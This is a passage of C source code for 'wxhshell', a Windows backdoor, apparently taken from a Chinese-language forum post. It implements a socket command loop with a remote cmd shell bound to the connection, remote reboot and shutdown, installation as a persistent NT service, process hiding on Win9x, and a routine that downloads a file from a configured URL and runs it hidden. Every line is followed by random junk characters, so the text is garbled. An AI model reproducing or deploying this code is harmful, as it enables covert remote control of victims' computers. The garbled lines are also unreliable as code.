      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0GcOI}  
    break; {KqERS& g  
  } xF`O ehVA  
  // 安装 .tzQ hd>  
  case 'i': { gezZYP)d  
    if(Install()) d$PQb9Q+f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Df}3^J~JX  
    else "[2D&\$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); znNv;-q  
    break; t}2M8ue(&  
    } r~;TId} #  
  // 卸载 DC,]FmWs!+  
  case 'r': { uE&2M>2  
    if(Uninstall()) Ta)6ly7'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PHg(O:3WG  
    else o(Q='kK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `m\l#r 2C  
    break; N3|aNQ=X0  
    } AfJ.SNE  
  // 显示 wxhshell 所在路径 )WbE -m  
  case 'p': { otJHcGv  
    char svExeFile[MAX_PATH]; 1zIrU6H2;_  
    strcpy(svExeFile,"\n\r"); P+(Ys[J3  
      strcat(svExeFile,ExeFile); FfibR\dhY  
        send(wsh,svExeFile,strlen(svExeFile),0); ~uweBp~O  
    break; {AO`[  
    } iYl{V']A  
  // 重启 (lLCAmK 5?  
  case 'b': { j)lgF:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >5bd !b,  
    if(Boot(REBOOT)) giu8EjzK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jHM}({)-  
    else { 1w|u ^[~u\  
    closesocket(wsh); z{G@t0q  
    ExitThread(0); G-G\l?R(  
    } Wfj*)j Q  
    break; 3R[,,WAj$  
    } (d}z>?L  
  // 关机 (!dwUB  
  case 'd': { TuMD+^x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c7/fQc)h4d  
    if(Boot(SHUTDOWN)) 'DCB 7T8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d<>jhp5el  
    else { d>jRw  
    closesocket(wsh); T`r\yl}  
    ExitThread(0); <UBB&}R0  
    } AGgL`sP  
    break; -LMO f?  
    } ]tO9<  
  // 获取shell G FO(O  
  case 's': {  #)28ESj  
    CmdShell(wsh); 0?\d%J!"S  
    closesocket(wsh); /r mm@  
    ExitThread(0); \I~9%QJ>  
    break; TDjjaO  
  } vV /fTO  
  // 退出 tCbn B  
  case 'x': { I cz) Qtg|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f*GdHUZ*  
    CloseIt(wsh); S0-/9h  
    break; h&6t.2<e  
    } ${w\^6&  
  // 离开 q)KLf\  
  case 'q': { jthGNVZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q NE( @at  
    closesocket(wsh); .5YIf~!59  
    WSACleanup(); 7Jvb6V<R  
    exit(1); qC$h~Epp4  
    break; ^fbw0  
        } <P)0Yu  
  } X~5kgq0"  
  } +]NPxUa  
`DcZpd.n  
  // 提示信息 \`,,r_tO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Y>M/ /0  
} @qWes@  
  } S!wY6z  
*WX,bN6Ot  
  return; SPU_@ Pk  
} aBx8wl*Vm  
K#oF=4_/|  
// shell模块句柄 *Zi:^<hv  
int CmdShell(SOCKET sock) x1nqhSaD  
{ c=A)_ZFg  
STARTUPINFO si; LG3:V'|  
ZeroMemory(&si,sizeof(si)); F3V_rE<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ah <6m5+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7SpF&  
PROCESS_INFORMATION ProcessInfo; Dt p\ T|)  
char cmdline[]="cmd"; iPoDesp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (>gAnebN L  
  return 0; PgF7ug%,@C  
} 3~Vo]wv  
8I*WVa$l  
// 自身启动模式 l~9P4 ,  
int StartFromService(void) VvTs87  
{ .}zpvr8YP  
typedef struct sVJwe\!  
{ e.:SBXZ  
  DWORD ExitStatus; <xWBS/K  
  DWORD PebBaseAddress; @f wk  
  DWORD AffinityMask; !O~5<tA[#1  
  DWORD BasePriority; 60u}iiC@  
  ULONG UniqueProcessId; Sx%vJYH0  
  ULONG InheritedFromUniqueProcessId; WSPlM"h  
}   PROCESS_BASIC_INFORMATION; `&-)(#  
yhi6RDS  
PROCNTQSIP NtQueryInformationProcess; 235wl  
y 2v69nu~q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~Q)137u]P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8!uqR!M<C  
 'WW['  
  HANDLE             hProcess; crdp`}}  
  PROCESS_BASIC_INFORMATION pbi; t!"XQ$g'  
yAt,XG3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \.7O0Q{  
  if(NULL == hInst ) return 0; zxt&oT0Q  
|2eF~tJqc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ie%twc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /K./k!'z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,wvzY7%  
L?c7M}vV  
  if (!NtQueryInformationProcess) return 0; ,`lVB#|  
? m$7)@p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l*Iy:j(B  
  if(!hProcess) return 0; M~1 n#  
DlXthRM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :U7m@3czU  
P_f>a?OL:  
  CloseHandle(hProcess); )=)=]|3  
#n_uELE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  `xpU  
if(hProcess==NULL) return 0; u*NU MT2  
^Q\O8f[u  
HMODULE hMod; "?~u*5  
char procName[255]; :RnFRAcr  
unsigned long cbNeeded; ped3}i+|]  
K&WNtk3hT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jGtoc,\X  
%hu] =  
  CloseHandle(hProcess); S2jO  
#iot.alNA  
if(strstr(procName,"services")) return 1; // 以服务启动 '0!IF&p'  
`jur`^S|  
  return 0; // 注册表启动 {,|J?>{  
} #!%\97ZR  
NI^[7.2  
// 主模块 @?GOOD_i  
int StartWxhshell(LPSTR lpCmdLine) '5mzlR  
{ !PfIe94{`  
  SOCKET wsl; ;S FmbZ%~  
BOOL val=TRUE; lilKYrUmG  
  int port=0; fJ?$Z|  
  struct sockaddr_in door; 2@(Qd3N(  
vh~:{akR  
  if(wscfg.ws_autoins) Install(); j aj."v  
?V}AwLX}  
port=atoi(lpCmdLine); ^'|\8  
VvO/  
if(port<=0) port=wscfg.ws_port; -k19BDJ,W  
+P~E54  
  WSADATA data; @a1+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?'_Q^O>  
Y(D@B|"'m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #]yb;L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h%Nbx:vKk  
  door.sin_family = AF_INET; 7b2N'^z}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C(-bh]J  
  door.sin_port = htons(port); pEjA*6v|,  
i8`&XGEd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3huT T"G  
closesocket(wsl); bm{L6D E  
return 1; &S.zc@rN  
} eKL)jzC:  
%EuXL% B  
  if(listen(wsl,2) == INVALID_SOCKET) { od- 0wJN-m  
closesocket(wsl); aQ ~  
return 1; c{Ax{-'R  
} /#PEEN  
  Wxhshell(wsl); k MS[   
  WSACleanup(); "-N)TIzLX  
z^/aJ@gQ  
return 0; >Hr0ScmN@"  
(YjY=F  
} 1u\fLAXn  
.&ynS  
// 以NT服务方式启动 $ V"~\h8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  _"ysJ&  
{ \jdpL1  
DWORD   status = 0; EiY i<Z_S  
  DWORD   specificError = 0xfffffff; '\:?FQ C  
/hue]ZaQq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *R*Tmo"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ah_'.r1<P9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cm;WQuv@  
  serviceStatus.dwWin32ExitCode     = 0; 8KpG0DC  
  serviceStatus.dwServiceSpecificExitCode = 0; z,nRw/o  
  serviceStatus.dwCheckPoint       = 0; ~>@Dn40  
  serviceStatus.dwWaitHint       = 0; .Lrdw3(  
V*U7-{ *a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $cev,OW6]  
  if (hServiceStatusHandle==0) return; 9-+6Ed^2  
(U/xpj}  
status = GetLastError(); ;bd\XHwMUP  
  if (status!=NO_ERROR) 63QSYn,t  
{ a$I; L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; " [=Ee[/  
    serviceStatus.dwCheckPoint       = 0; 39 JLi~j,  
    serviceStatus.dwWaitHint       = 0; ~e[)]b3  
    serviceStatus.dwWin32ExitCode     = status; c@{,&,vsj  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3\FiQ/?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I\sCH  
    return; (r,RwWYm  
  } #jV6w=I  
voaRh@DZ%/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F!VC19<1O8  
  serviceStatus.dwCheckPoint       = 0; 17G7r\iNYq  
  serviceStatus.dwWaitHint       = 0; $Q|66/S^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d]h[]Su/?  
} &^th KXEC  
]?U:8%  
// 处理NT服务事件,比如:启动、停止 -5A@FGh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) muQ7sJ9 r  
{ ;w?zmj<Dm  
switch(fdwControl) =5_8f  
{ 7/(C1II.Q  
case SERVICE_CONTROL_STOP: u~?]/-.TY  
  serviceStatus.dwWin32ExitCode = 0; $g#j,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dL")E|\\k  
  serviceStatus.dwCheckPoint   = 0; ~s{$&N  
  serviceStatus.dwWaitHint     = 0; bTKzwNx  
  { '<m[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Dd/g7  
  } }6eWdm!B  
  return; n$}c+1   
case SERVICE_CONTROL_PAUSE: P/t$xqAL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A]B D2   
  break; f7XmVCz1  
case SERVICE_CONTROL_CONTINUE: p`{9kH1me  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NS=puo  
  break; 9F k wtF  
case SERVICE_CONTROL_INTERROGATE: b/]C, P  
  break; Cs%'Af  
}; \J0gzi.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ~J"*ahl  
} x!!: jL'L  
cX1"<fD o  
// 标准应用程序主函数 9n!3yZVSe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z;'"c3qG8  
{ RKIqg4>E  
QsI>_<r  
// 获取操作系统版本 sBF>a|  
OsIsNt=GetOsVer(); fCZbIt)Eh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~&k1P:#R  
V )1SZt@x  
  // 从命令行安装 n?aogdK$V  
  if(strpbrk(lpCmdLine,"iI")) Install(); \I#2Mq?  
LtH;#Q  
  // 下载执行文件 Yk<?HNf  
if(wscfg.ws_downexe) { &e_M \D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V# w$|B\  
  WinExec(wscfg.ws_filenam,SW_HIDE); "S#0QH%5  
} sKjg)3Sl  
WABq6q!  
if(!OsIsNt) { RhbYDsG  
// 如果时win9x,隐藏进程并且设置为注册表启动 |)pT"`  
HideProc(); H*yX Iq:  
StartWxhshell(lpCmdLine); PWLMux  
} >F,~QHcz  
else v"_hWJ)  
  if(StartFromService()) &hd+x5  
  // 以服务方式启动 z7{b>oub('  
  StartServiceCtrlDispatcher(DispatchTable); r6 ,5&`&  
else q(!191@C(  
  // 普通方式启动 7Y @ &&  
  StartWxhshell(lpCmdLine); ]O7I7K  
!K(0)~u  
return 0; ]_|qv1K6  
}
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只看该作者 1 发表于: 2006-10-10
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